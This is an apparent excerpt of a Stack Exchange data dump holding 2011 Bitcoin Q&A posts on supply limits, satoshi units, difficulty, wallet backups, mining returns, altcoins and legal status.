  <row Id="104" PostTypeId="1" AcceptedAnswerId="112" CreationDate="2011-08-30T22:40:19.697" Score="28" ViewCount="5455" Body="&lt;p&gt;It is written that the supply of Bitcoin units is limited to 21 million and that this limit will approximately have been reached around the year 2030.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But is there an actual &quot;last Bitcoin&quot; (or &quot;last Satoshi&quot; for that matter) that will have been mined one day? Or will mining continue forever after producing smaller and smaller fractions?&lt;/p&gt;&#xA;" OwnerUserId="15" LastEditorUserId="5406" LastEditDate="2016-01-21T15:24:51.813" LastActivityDate="2020-04-19T10:43:15.977" Title="Will all 21 million units be completely mined one day?" Tags="|money-supply|reward-schedule|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="105" PostTypeId="2" ParentId="88" CreationDate="2011-08-30T22:40:21.633" Score="4" Body="&lt;p&gt;Bitcoin accounts for the exponential growth in processing power (Moore's law) making hashing easier by re-adjusting the &quot;difficulty&quot; every 2016 blocks. The &lt;a href=&quot;https://en.bitcoin.it/wiki/Difficulty&quot; rel=&quot;nofollow&quot;&gt;difficulty&lt;/a&gt;  essentially determines how low the target for the hash of the block header is, the lower the target the harder it is to find.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each block should on average take 10 minutes to find, so 2016 blocks should take 2 weeks. After each 2016 blocks the difficulty is readjusted by a ratio of (expected time for 2016 blocks)/(actual time for 2016 blocks). So for example if it takes 10 days to find the 2016 blocks between difficulty adjustments the difficulty will increase by a factor of 1.4 (14 days/10 days) for the next 2016 blocks. Conversely if it takes longer than 14 days to solve the 2016 blocks then the difficult will decrease by the ratio of (expected/actual) time to solve the 2016 blocks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The difficulty change per readjustment cannot be more than 4x or less than 1/4x.&lt;/p&gt;&#xA;" OwnerUserId="61" LastActivityDate="2011-08-30T22:40:21.633" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="106" PostTypeId="2" ParentId="92" CreationDate="2011-08-30T22:41:04.097" Score="1" Body="&lt;p&gt;No.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Either alternate block chains are successful, or not. If they are not successful, the point is moot. If they are successful, then Bitcoin holders will diversify into these alternative crypto currencies. The total number of &quot;coins&quot; throughout the chains doesn't really matter, it's their combined monatary worth ... say in dollars.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's not important whether Bitcoin itself is successful, or some mix of its clones. An easy an interoperable way to trade with the set of successful crypto currencies will emerge.&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2011-08-30T22:41:04.097" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="107" PostTypeId="2" ParentId="92" CreationDate="2011-08-30T22:41:21.630" Score="2" Body="&lt;p&gt;A competing digital currency will have to convince people that it is better and worth more than bitcoin.  That's unlikely to happen if it shares all the properties of bitcoin since bitcoin would have a lead in terms of adoption and infrastructure (but with enough marketing muscle might happen).  Should the value of the competing currency rise high enough relative to mining difficulty, then miners can make more money by mining the new coins and then selling them in exchange for bitcoin.  This caps the upside potential of the new coin to the same potential that bitcoin itself has.  And there is a high downside risk of your investment going to zero.  For speculators, this is not likely to be very appealing and if it's not appealing to speculators, it's not likely that a new coin could get very far off the ground before being abandoned.  However, if the new coin offers some new innovation or is perceived to have some other advantage that will cause it to surpass bitcoin, then this dynamic could be inverted.&lt;/p&gt;&#xA;" OwnerUserId="42" LastActivityDate="2011-08-30T22:41:21.630" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="108" PostTypeId="2" ParentId="92" CreationDate="2011-08-30T22:42:30.903" Score="1" Body="&lt;p&gt;Alternate block chains are as different to bitcoins as the Yen is to the Dollar. These other currencies do not influence the liquidity of bitcoins.  They affect the bitcoin market only in so far as people begin using them.  As low as it is merchant uptake of bitcoin is far greater then any other block chain currency, and it is likely to continue to lead since that is where most of the infrastructure effort is focused.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin's value as a tool online is it's features.  Unless other currencies provide different features that are compelling it is unlikely they will compete.  If a new currency does show new features that are compelling then perhaps people will buy units of that currency, but that still does not dilute bitcoin in any way.  Bitcoin is inflationary now due to the introduction of new coins being added to supply per design, this will slow and eventually stop, nothing outside of bitcoin effects this, so bitcoin will never be in danger of hyper inflation.&lt;/p&gt;&#xA;" OwnerUserId="4774" LastActivityDate="2011-08-30T22:42:30.903" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="109" PostTypeId="2" ParentId="28" CreationDate="2011-08-30T22:46:59.037" Score="2" Body="&lt;p&gt;To avoid heavy coin losses I advise you &lt;strong&gt;not to keep all your money in one place&lt;/strong&gt;. You can, for example, create one wallet for everyday payments and another wallet for savings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The savings wallet is rarely used and usually contains more coins, so you should enforce its security by keeping it offline most of the time. You can save this wallet inside an encrypted USB stick, write its private key in a piece of paper or use any other method that you feel comfortable with.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The everyday wallet should contain less money (enough for day to day transactions) and be more accessible. You can keep it encrypted in your computer/phone or take an USB stick with you everywhere. Usability and security come hand in hand here so you should choose a solution that fits your needs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can obviously spread your money through many other places (multiple offline/online wallets, ewallets, exchange sites, etc.). This will reduce the probability of loosing a lot of money.&lt;/p&gt;&#xA;" OwnerUserId="5" LastActivityDate="2011-08-30T22:46:59.037" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="110" PostTypeId="2" ParentId="88" CreationDate="2011-08-30T22:47:44.397" Score="17" Body="&lt;p&gt;&lt;strong&gt;BitCoin is futureproof&lt;/strong&gt;, because in the event that processing power (or more relevantly, mathematical advances) make its algorithms weak or obsolete, the protocol can simply be upgraded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Copied from &lt;a href=&quot;https://stackoverflow.com/questions/5605571/is-bitcoin-protocol-future-proof/5958343#5958343&quot;&gt;Stack Overflow&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Upgrades to the Bitcoin protocol that break compatibility are implementable by social mechanisms but not by any technical process, which is by design.  In order to change the hashing or signing algorithms in the event that new techniques weaken them, the following process could be followed:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;As soon as the existing algorithms are discovered to be weakened, have a trusted entity sign a copy of the existing blockchain, marking it as authoritative via a non-weakened algorithm.&lt;/li&gt;&#xA;&lt;li&gt;Create a new protocol that 'respects' the existing blockchain (which contains all records of bitcoin ownership), and allows for an upgrade path to exist indefinitely.&lt;/li&gt;&#xA;&lt;li&gt;Implement the new protocol dormantly in one or more clients, with a designated block number to switch over, and the trusted version of the blockchain hardcoded in.&lt;/li&gt;&#xA;&lt;li&gt;Convince the vast majority of Bitcoin users that your trusted entity is trustworthy, and to switch to the new client(s) &lt;em&gt;before&lt;/em&gt; the designated block is mined.  There really is no equilibrium allowing both versions to coexist, since people who own bitcoins will be able to spend them in &lt;strong&gt;both&lt;/strong&gt; communities.  Unless the modified client achieves near-universal adoption before the designated block is mined, users will switch back before the change goes live.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="44" LastEditorUserId="-1" LastEditDate="2017-05-23T12:34:59.703" LastActivityDate="2011-08-30T22:47:44.397" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="111" PostTypeId="2" ParentId="85" CreationDate="2011-08-30T22:48:28.513" Score="9" Body="&lt;p&gt;Until a careful analysis is performed, I think most crypto currencies are very similar in all properties except one - adoption.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin has the largest hash rate, participating nodes, accepting sites, and people going over the code and protocol.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While alternative currencies can gain more hash rate, especially if effective forms of merged mining are developed and adopted, it remains to be seen if they gain the same adoption (sites accepting them), and developer base (strong developer community).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(See this post about &lt;a href=&quot;http://dot-bit.org/Merged_Mining&quot;&gt;merged Namecoin/Bitcoin mining&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt; - One notable exception to this is &lt;a href=&quot;https://en.bitcoin.it/wiki/Namecoin&quot;&gt;Namecoin&lt;/a&gt;, which does offer unique features making it suitable to use as a DNS or general name registrar.&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="78" LastEditDate="2011-08-31T10:44:20.320" LastActivityDate="2011-08-31T10:44:20.320" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="112" PostTypeId="2" ParentId="104" CreationDate="2011-08-30T22:49:15.987" Score="15" Body="&lt;p&gt;Theoretically yes, but that moment is so far in the future it is likely that some other events such as new currency technology will surpass bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, mining will not stop.  Mining is the security backbone of bitcoin, and it will continue because it will still be profitable to mine.  Miners will be paid fees from existing bitcoins with every transaction instead of a reward of newly created bitcoins.&lt;/p&gt;&#xA;" OwnerUserId="4774" LastActivityDate="2011-08-30T22:49:15.987" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="113" PostTypeId="2" ParentId="92" CreationDate="2011-08-30T22:50:43.807" Score="1" Body="&lt;p&gt;All other things being equal, the value offered by a currency to a user increases as its user-base grows due to the &lt;a href=&quot;http://en.wikipedia.org/wiki/Network_effect&quot; rel=&quot;nofollow&quot;&gt;network effect&lt;/a&gt;. Therefore, it is reasonable to assume that unless another P2P currency possesses significant technological advantages over Bitcoin, Bitcoin's first-mover advantage likely makes alternate block chains uncompetitive in the main p2p currency space.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's impossible to determine whether Bitcoin will become the de facto digital currency, and if the network effect is a significant competitive factor, multiple digital currencies existing does not preclude it from happening.&lt;/p&gt;&#xA;" OwnerUserId="7" LastActivityDate="2011-08-30T22:50:43.807" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="114" PostTypeId="1" AcceptedAnswerId="117" CreationDate="2011-08-30T22:53:42.277" Score="158" ViewCount="253800" Body="&lt;p&gt;I am aware that Satoshi Nakamoto is the author of the paper that originated Bitcoin and the creator of the original bitcoin client. However, I often hear the term &lt;em&gt;Satoshi&lt;/em&gt; as if it was a monetary unit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is a &lt;em&gt;Satoshi&lt;/em&gt;?&lt;/p&gt;&#xA;" OwnerUserId="5" LastEditorUserId="5406" LastEditDate="2015-05-24T12:16:45.807" LastActivityDate="2023-04-26T12:03:51.527" Title="What is a 'Satoshi'?" Tags="|terminology|satoshi-nakamoto|satoshi|divisibility|" AnswerCount="6" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="115" PostTypeId="1" AcceptedAnswerId="234" CreationDate="2011-08-30T22:53:42.750" Score="7" ViewCount="481" Body="&lt;p&gt;Recently there has been a spread of Bitcoin clones, starting with &lt;a href=&quot;https://en.bitcoin.it/wiki/Namecoin&quot; rel=&quot;nofollow&quot;&gt;Namecoin&lt;/a&gt; and following with other newer clones. There is a chance these coins will appreciate relative to Bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an easy way for a Bitcoin holder to automatically diversify his holding among the different crypto currencies, similar to holding an index fund or ETF instead of purchasing individual stocks?&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="99" LastEditDate="2011-09-18T01:15:49.207" LastActivityDate="2011-09-18T01:15:49.207" Title="Is there an easy way to diversify your Bitcoin holding among the other popular forks?" Tags="|alternatives|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="116" PostTypeId="1" AcceptedAnswerId="120" CreationDate="2011-08-30T22:55:14.340" Score="26" ViewCount="23304" Body="&lt;p&gt;You run bitcoin as a service on your local computer.  What happens if this computer is compromised?  A corrupt/failed hard drive or theft leads to the machine being lost and unrecoverable, and my bitcoin details (addresses etc) are gone.  Do my bitcoins disappear into the ether?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i.e. What happens to my bitcoins if my wallet file is compromised/lost?&lt;/p&gt;&#xA;" OwnerUserId="80" LastEditorUserId="5406" LastEditDate="2014-06-17T14:43:28.640" LastActivityDate="2021-01-07T01:27:51.207" Title="What happens to my bitcoins if lose my wallet file e.g. I suffer data loss and my computer is unrecoverable?" Tags="|shrinking-money-supply|lost-bitcoins|" AnswerCount="5" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="117" PostTypeId="2" ParentId="114" CreationDate="2011-08-30T22:57:36.520" Score="157" Body="&lt;p&gt;A &lt;a href=&quot;https://en.bitcoin.it/wiki/FAQ#What_do_I_call_the_various_denominations_of_bitcoin.3F&quot;&gt;Satoshi&lt;/a&gt; is the smallest fraction of a Bitcoin that can currently be sent: 0.00000001 BTC, that is, a hundredth of a millionth BTC. In the future, however, the protocol may be updated to allow further subdivisions, should they be needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Further examples of &lt;a href=&quot;https://en.bitcoin.it/wiki/Units&quot;&gt;units&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;1 BTC = 1,000 mBTC (millibitcoin)&lt;/li&gt;&#xA;&lt;li&gt;1 BTC = 1,000,000 μBTC (microbitcoin)&lt;/li&gt;&#xA;&lt;li&gt;1 BTC = 100,000,000 Satoshis&lt;/li&gt;&#xA;&lt;li&gt;1 mBTC = 100,000 Satoshis&lt;/li&gt;&#xA;&lt;li&gt;1 μBTC (microbitcoin) = 100 Satoshis&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="38" LastEditorUserId="15724" LastEditDate="2014-05-12T21:23:08.723" LastActivityDate="2014-05-12T21:23:08.723" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="118" PostTypeId="1" AcceptedAnswerId="2999" CreationDate="2011-08-30T22:58:59.357" Score="116" ViewCount="335603" Body="&lt;p&gt;Say I have a given piece of hardware (CPU/GPU). Where can I find out how much Bitcoin will I mine per day?&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="5406" LastEditDate="2016-01-20T21:07:43.677" LastActivityDate="2018-12-10T15:56:09.513" Title="How much Bitcoin will I mine right now with hardware X?" Tags="|mining-profitability|mining-hardware|" AnswerCount="9" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="119" PostTypeId="2" ParentId="116" CreationDate="2011-08-30T23:00:21.430" Score="12" Body="&lt;p&gt;The Bitcoins never disappear, but if you lose your wallet, then you lack the keys necessary to actually use those Bitcoins.  So although the coins do not disappear, they are effectively removed from the economy since you cannot spend them.  This is why it is important to backup your wallet.&lt;/p&gt;&#xA;" OwnerUserId="38" LastActivityDate="2011-08-30T23:00:21.430" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="120" PostTypeId="2" ParentId="116" CreationDate="2011-08-30T23:00:41.820" Score="28" Body="&lt;p&gt;If a wallet file is truly lost with zero ability to recover it, then the coins it contained are lost forever.  Think of it as cash left in a burning house.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Be sure to periodically backup your wallet.dat file.  It is best to also encrypt those backups lest they be compromised giving someone else access to your wallet.&lt;/p&gt;&#xA;" OwnerUserId="4774" LastActivityDate="2011-08-30T23:00:41.820" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="121" PostTypeId="1" AcceptedAnswerId="125" CreationDate="2011-08-30T23:00:56.733" Score="12" ViewCount="30831" Body="&lt;p&gt;The Bitcoin ratio vs other currencies is not the same among exchanges. Is there currently a way to exploit this arbitrage and profit?&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="37414" LastEditDate="2017-08-04T16:34:54.537" LastActivityDate="2018-03-13T02:58:47.170" Title="Is there an efficient way to exploit arbitrages between the different exchanges?" Tags="|exchanges|arbitrage|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="122" PostTypeId="1" AcceptedAnswerId="213" CreationDate="2011-08-30T23:02:52.360" Score="23" ViewCount="10545" Body="&lt;p&gt;Will there ever be a need to create a unit of Bitcoin smaller than a Satoshi?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See also: &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/114/what-is-a-satoshi&quot;&gt;What is a 'Satoshi'?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="5406" LastEditDate="2023-11-06T15:33:54.160" LastActivityDate="2023-11-06T15:33:54.160" Title="Will we ever need smaller amounts of Bitcoin than a Satoshi?" Tags="|economic-theory|bitcoin-economy|satoshi|divisibility|" AnswerCount="9" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="123" PostTypeId="1" CreationDate="2011-08-30T23:03:38.897" Score="24" ViewCount="31488" Body="&lt;p&gt;How do you mine in Ubuntu 11.04? Are there any GUI miners like &lt;a href=&quot;https://github.com/Kiv/poclbm&quot;&gt;poclbm-gui&lt;/a&gt; for Ubuntu?&lt;/p&gt;&#xA;" OwnerUserId="54" LastEditorUserId="5406" LastEditDate="2016-01-21T15:25:21.380" LastActivityDate="2016-01-21T15:25:21.380" Title="How to mine in Ubuntu?" Tags="|ubuntu|mining-setup|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="124" PostTypeId="2" ParentId="116" CreationDate="2011-08-30T23:03:39.740" Score="6" Body="&lt;p&gt;Yes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is because of the decentralized nature of Bitcoin. You are the master of your own private keys. With great freedom comes great responsibility.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have to come up with your own precautions.&lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2011-08-30T23:03:39.740" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="125" PostTypeId="2" ParentId="121" CreationDate="2011-08-30T23:06:46.100" Score="9" Body="&lt;p&gt;Yes.  Simply hold accounts on multiple exchanges.  In the account you should try to keep your holdings at 50% bitcoin and 50% other currency.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When there is an arbitrage opportunity you can execute &quot;complimentary&quot; transactions on both exchanges.  On one you buy the difference, and the other you sell the difference.  You can then equalize the accounts by transferring bitcoins between them, or withdrawing profits.  Don't forget to account for transaction fees on each exchange.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are so skilled most exchanges have APIs that would allow you to script interfaces for doing this automatically.  I recommend against accepting other people's scripts to do this since it gives the script access to your funds and it would be trivial for them to write the script to transfer your funds to them.&lt;/p&gt;&#xA;" OwnerUserId="4774" LastEditorUserId="659" LastEditDate="2012-03-07T18:37:22.023" LastActivityDate="2012-03-07T18:37:22.023" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="126" PostTypeId="1" AcceptedAnswerId="1178" CreationDate="2011-08-30T23:09:18.217" Score="79" ViewCount="18740" Body="&lt;p&gt;I have an online store and would like to begin accepting bitcoins.  How can I go about doing this?&lt;/p&gt;&#xA;" OwnerUserId="44" LastEditorUserId="2650" LastEditDate="2013-03-11T12:15:34.820" LastActivityDate="2021-11-01T19:35:27.730" Title="How can I accept bitcoins on my website?" Tags="|transactions|ecommerce|" AnswerCount="6" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="127" PostTypeId="1" CreationDate="2011-08-30T23:10:45.937" Score="16" ViewCount="3073" Body="&lt;p&gt;What advantages / disadvantages does it offer over solo mining?&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="5406" LastEditDate="2016-01-21T15:25:33.097" LastActivityDate="2016-01-21T15:25:33.097" Title="What is a Mining Pool, what is it good for?" Tags="|mining-pools|solo-mining|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="128" PostTypeId="1" AcceptedAnswerId="158" CreationDate="2011-08-30T23:11:51.003" Score="10" ViewCount="810" Body="&lt;p&gt;(This question was originally asked before merged mining began)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When exactly did merged mining of Bitcoin and Namecoin chains start?&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="5406" LastEditDate="2016-01-21T15:25:52.573" LastActivityDate="2016-01-21T15:25:52.573" Title="When did merged Namecoin-Bitcoin mining start?" Tags="|namecoin|merged-mining|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="129" PostTypeId="1" AcceptedAnswerId="4816" CreationDate="2011-08-30T23:12:51.267" Score="10" ViewCount="3218" Body="&lt;p&gt;Hashrates and value in BTC. Is there one site that can show them all, perhaps even on the same chart?&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="132" LastEditDate="2011-09-12T13:52:41.703" LastActivityDate="2017-07-03T17:13:54.153" Title="Where can I find graphs the values of alternative crypto currencies?" Tags="|alternatives|charts|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="130" PostTypeId="1" CreationDate="2011-08-30T23:14:30.720" Score="3" ViewCount="427" Body="&lt;p&gt;(Up and including August 2011)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://mezegrill.com/&quot; rel=&quot;nofollow&quot;&gt;Meze Grill&lt;/a&gt; was the first restaurant to accept Bitcoin. Has this option generated revenue for them?&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="38618" LastEditDate="2020-05-09T16:07:35.183" LastActivityDate="2020-05-09T16:07:35.183" Title="How much business has Bitcoin brought Meze Grill up to now?" Tags="|business|" AnswerCount="0" CommentCount="1" ClosedDate="2011-08-31T00:28:11.583" ContentLicense="CC BY-SA 3.0" />
  <row Id="131" PostTypeId="1" AcceptedAnswerId="137" CreationDate="2011-08-30T23:17:20.607" Score="25" ViewCount="3775" Body="&lt;p&gt;Has there been any concrete information about the legality of Bitcoin in any country?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since any information can be &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/150/are-there-really-messages-in-the-blockchain&quot;&gt;injected into the blockchain&lt;/a&gt;, then if child porn / copyrighted material is injected into the blockchain, does this make Bitcoin clients illegal in some sense?&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2018-01-24T08:47:30.993" Title="What is the current legal status of Bitcoin around the world?" Tags="|legal|" AnswerCount="6" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="132" PostTypeId="2" ParentId="92" CreationDate="2011-08-30T23:17:52.613" Score="8" Body="&lt;p&gt;It is likely that blockchain-based currencies like Bitcoin are a &lt;a href=&quot;http://en.wikipedia.org/wiki/Natural_monopoly&quot;&gt;natural monopoly&lt;/a&gt;.  It is most beneficial for users to own and accept in trade the most popular currency, as they will have the greatest number of opportunities to do business with it.  This is referred to as a &lt;a href=&quot;http://en.wikipedia.org/wiki/Network_effect&quot;&gt;network effect&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are also additional costs and risks associated with owning and accepting less popular currencies, so most people are unlikely to do so.  This makes it unlikely that alternative blockchains will gain much traction.  Few people will deal in both simultaneously, and even fewer will abandon the more popular blockchain entirely for a less popular one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to overcome these obstacles, an alternative blockchain currency would have to have significantly valuable features that the incumbent lacked.  Even this might not be enough to compel large numbers of users to switch, and it becomes more unlikely as the incumbent grows larger.  If the alternative did gain enough popularity, it would probably displace the incumbent entirely.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The most recent batch of alternative blockchains are just clones of Bitcoin with tweaked paramaters and no additional features.  It's unlikely that they played a role in the recent price drop, though one could further investigate this by comparing the changes in the &lt;a href=&quot;http://en.wikipedia.org/wiki/Market_cap&quot;&gt;market cap&lt;/a&gt; of each currency.&lt;/p&gt;&#xA;" OwnerUserId="50" LastActivityDate="2011-08-30T23:17:52.613" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="133" PostTypeId="2" ParentId="126" CreationDate="2011-08-30T23:19:51.900" Score="5" Body="&lt;p&gt;Take a look at the bitcoind &lt;a href=&quot;https://en.bitcoin.it/wiki/API_reference_%28JSON-RPC%29&quot; rel=&quot;nofollow&quot;&gt;json api&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will have to run the bitcoind services on a computer accessible by your website.  The computer you run the service on should be very secure since it holds your wallet.  Development is underway to allow you to have the wallet file located elsewhere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For added security you can keep a copy of your server wallet file on your computer and regularly transfer funds to a more secure account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are also people who provide this service.  However this is not as secure, and you should  carefully review the options before trusting one of these services.  Nevertheless these can be an easy alternative if you can accept the risks involved.&lt;/p&gt;&#xA;" OwnerUserId="4774" LastEditorUserId="5" LastEditDate="2011-08-30T23:27:30.510" LastActivityDate="2011-08-30T23:27:30.510" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="134" PostTypeId="2" ParentId="115" CreationDate="2011-08-30T23:20:53.330" Score="1" Body="&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://dot-bit.org/Main_Page&quot; rel=&quot;nofollow&quot;&gt;Namecoin&lt;/a&gt; is not really a BitCoin fork&lt;/strong&gt;.  It is intended to work like DNS, not like a currency.  As to the other &quot;forks&quot; I would highly recommend you not take seriously digital currencies which lack the community backing of bitcoins, and are not heavily feature-differentiated from them, until or unless they prove themselves popular and reliable.  Even bitcoins themselves hardly meet this criteria, so that should give you an idea of how seriously &quot;IXCoin&quot; and such should be taken.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the broader problem here is that you seem to be approaching bitcoins as an investment.  Bitcoins are &lt;strong&gt;not&lt;/strong&gt; an investment vehicle--they are a currency.  There is no need to &quot;diversify your holdings&quot; because bitcoin is not a holding--it's just money.  If you don't need it to store your wealth or exchange it for something else, you're looking in the wrong place.&lt;/p&gt;&#xA;" OwnerUserId="44" LastActivityDate="2011-08-30T23:20:53.330" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="135" PostTypeId="2" ParentId="118" CreationDate="2011-08-30T23:23:28.320" Score="28" Body="&lt;p&gt;D = Difficulty&lt;br&gt;&#xA;H = MHash/s&lt;br&gt;&#xA;C = Reward (currently 12.5 BTC)&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;24 / (D * 2^32 / (H * 10^6) / 60 / 60) * C = BTC/day&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="54" LastEditorUserId="59673" LastEditDate="2017-09-11T15:00:19.630" LastActivityDate="2017-09-11T15:00:19.630" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="136" PostTypeId="1" AcceptedAnswerId="144" CreationDate="2011-08-30T23:25:21.903" Score="4" ViewCount="20897" Body="&lt;p&gt;&lt;a href=&quot;http://bitcoincharts.com/markets/mtgoxUSD.html&quot; rel=&quot;nofollow&quot;&gt;Bitcoin Charts&lt;/a&gt; seems to only offer graphs of up to 60 days.&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="132" LastEditDate="2011-09-12T13:51:40.347" LastActivityDate="2014-08-15T15:54:10.147" Title="Where can I find a graph of Bitcoin value vs USD for over 60 days?" Tags="|charts|value|" AnswerCount="6" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="137" PostTypeId="2" ParentId="131" CreationDate="2011-08-30T23:26:07.537" Score="13" Body="&lt;p&gt;At this point, the legality of bitcoin remains largely untested. To date, there have been no legal actions brought against any bitcoin exchanges (which would likely be the first place for the legality of bitcoin to be tested, rather than end users) and multiple bitcoin exchanges are seeking legal clarification regarding the jurisdictions they are operating in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some non-profits including the EFF have &lt;a href=&quot;https://www.eff.org/deeplinks/2011/06/eff-and-bitcoin&quot;&gt;chosen not to accept bitcoin at this point in time&lt;/a&gt; because of untested legal issues.&lt;/p&gt;&#xA;" OwnerUserId="81" LastEditorUserId="99" LastEditDate="2011-08-31T17:44:32.730" LastActivityDate="2011-08-31T17:44:32.730" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="138" PostTypeId="2" ParentId="118" CreationDate="2011-08-30T23:30:34.710" Score="2" Body="&lt;p&gt;You should consult &lt;a href=&quot;https://en.bitcoin.it/wiki/Mining_hardware_comparison&quot; rel=&quot;nofollow&quot;&gt;this wiki entry&lt;/a&gt; to know how many hashes per second can you generate with your hardware. Afterwards, just input the value into a &lt;a href=&quot;http://www.alloscomp.com/bitcoin/calculator.php&quot; rel=&quot;nofollow&quot;&gt;bitcoin mining calculator&lt;/a&gt; and you will have an estimation of your payout ratio.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please note that this calculator does not take difficulty into account so your earned value is likely to change over time. There are &lt;a href=&quot;https://bitcointalk.org/index.php?topic=26751.0&quot; rel=&quot;nofollow&quot;&gt;other calculators&lt;/a&gt; that try to predict the evolution of the difficulty, but they are not very accurate. Right now, difficulty depends on too many factors to be correctly predicted for a period longer than a couple of months.&lt;/p&gt;&#xA;" OwnerUserId="5" LastEditorUserId="5" LastEditDate="2011-08-30T23:39:00.303" LastActivityDate="2011-08-30T23:39:00.303" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
